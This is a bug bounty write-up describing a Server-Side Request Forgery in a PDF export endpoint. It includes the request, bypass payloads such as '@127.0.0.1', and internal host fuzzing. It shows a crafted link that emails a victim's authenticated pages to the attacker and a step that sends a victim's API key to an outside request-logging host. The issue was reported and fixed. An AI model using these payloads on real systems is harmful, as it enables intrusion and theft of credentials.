Just like a knife with two cutting edges, this is a story of a double-edged Server-Side Request Forgery (SSRF)
vulnerability which was successfully exploited to achieve and demonstrate both server and client-side security impact which is not very common to come across, at least in my own experience.
I was looking into a private bug bounty program that belongs to an organization offering a network monitoring solution so while poking around and testing out their various features, I ran some network tests using their agent then I took notice of this small feature that allows users to export the results of the test by sending you a PDF copy by e-mail. The request was the following:
GET /api/ui/export/exportPage?format=pdf&emailParams={"email":"[email protected]","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/export/synthetics/tests/780/results
Host: app.████████.com
To my surprise, when I received the PDF report in the e-mail, it was literally a screenshot of the result’s web page so I went back to double check the endpoint and got intrigued by location
parameter. I assumed the backend was probably taking a screenshot of the page at /v4/export/synthetics/tests/780/results
and e-mailing it to the user.
To verify my assumption, I changed the value of location
parameter to point to another authenticated route within the application, such as /v4/onboarding/device-status/80219
.
Bingo! it worked as I received a PDF screenshot of that authenticated web page, so I was curious how this feature could be implemented in the backend and if there is any way we can point it to a different host, internal or external. I decided to run some tests as follows:
&location=//example.com
&location=https://example.com
The PDF report contained a screenshot of a 404 error
which I was already familiar with, therefore I went with the assumption that the backend was most likely taking the value of location
parameter, appending it to the host and then taking a screenshot, i.e:
https://app.████████.com/v4/export/synthetics/tests/780/results
If that is the case, then we can try common SSRF bypasses such as: @example.com
or .example.com
which, should they work, would result in the backend issuing an HTTP request to:
Well, both did work and received the below PDF report in the e-mail:
Since we have a confirmed SSRF, we need to maximize its security impact by attempting to hopefully exploit it against their internal network, so naturally, the first test I ran was pointing the location
parameter to internal hosts using various common techniques as described in this repository.
I tried payloads like @127.0.0.1
, @localhost
, @spoofed.burpcollaborator.net
that points to the loopback address, 301 redirection
, etc. but unfortunately, none of them worked as I was receiving a blank PDF report.
I looked for more internal hosts other than the typical ones which seem to be blacklisted, therefore I did a quick subdomains reconnaissance using Amass
but it didn’t yield anything interesting so I searched on Github and I found a repository that referenced https://redash.iad1.████████.com
which appears to be an internal host that was alive but not publicly accessible.
I quickly set the location
parameter value to @redash.iad1.████████.com
and got this PDF report in the mailbox:
Well, that escalated quickly! The host was running an instance of Redash
with the login credentials auto-saved in plain-text. I thought they might be running other DevOps tools under .iad1.████████.com
, so I manually fuzzed some popular project names, such as:
- @jenkins.iad1.████████.com
- @k8s.iad1.████████.com
- @github.iad1.████████.com
- Etc.
Then, puppet.iad1.████████.com
was the jackpot! puppet
is a software used to manage the infrastructure from servers’ configuration, deployment to orchestration, etc. That was the only guess I needed because I received a 10 pages PDF report which literally listed all of their internal hosts as you can see:
I tried to hit a few of these internal endpoints and they seemed to be all accessible:
At this point, we have a nicely exploitable SSRF to report to the program but I decided to explore the vulnerable endpoint a bit further. There are three important notes that I initially dismissed if you refer back to our previous HTTP request:
email
JSON parameter.Consequently, by sending a specially crafted URL to a legitimate user, I can screenshot any authenticated page of theirs and send the report to my own e-mail address so the exploit would be as simple as:
https://app.████████.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"[email protected]","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/settings/users
Clicking on the above link would take a screenshot of /v4/settings/users
web page and then e-mail it to [email protected]
which is the attacker’s email address - this was disclosing information for any other authenticated endpoint like networks agents at /v4/synthetics/agents
, network classifications at /v4/settings/network-classification
.
Afterwards, I set up an HTTP logger at requestcatcher.com
then pointed the location
parameter to my webhook @testing1337.requestcatcher.com
. Unexpectedly, the HTTP request was found to be leaking my account’s e-mail address as well as API key through the its headers: X-CH-Auth-Api-Email
, X-CH-Auth-Api-Token
.
Therefore, we can leverage this endpoint to leak any organization’s email and API key associated with their account by simply misleading the user to click on:
At this point, I decided to wrap up my research and submitted a comprehensive report to the program which fixed and rewarded it their maximum bounty award. I’d like to thank ninetynine for their collaboration and thank you for taking time to read until the end.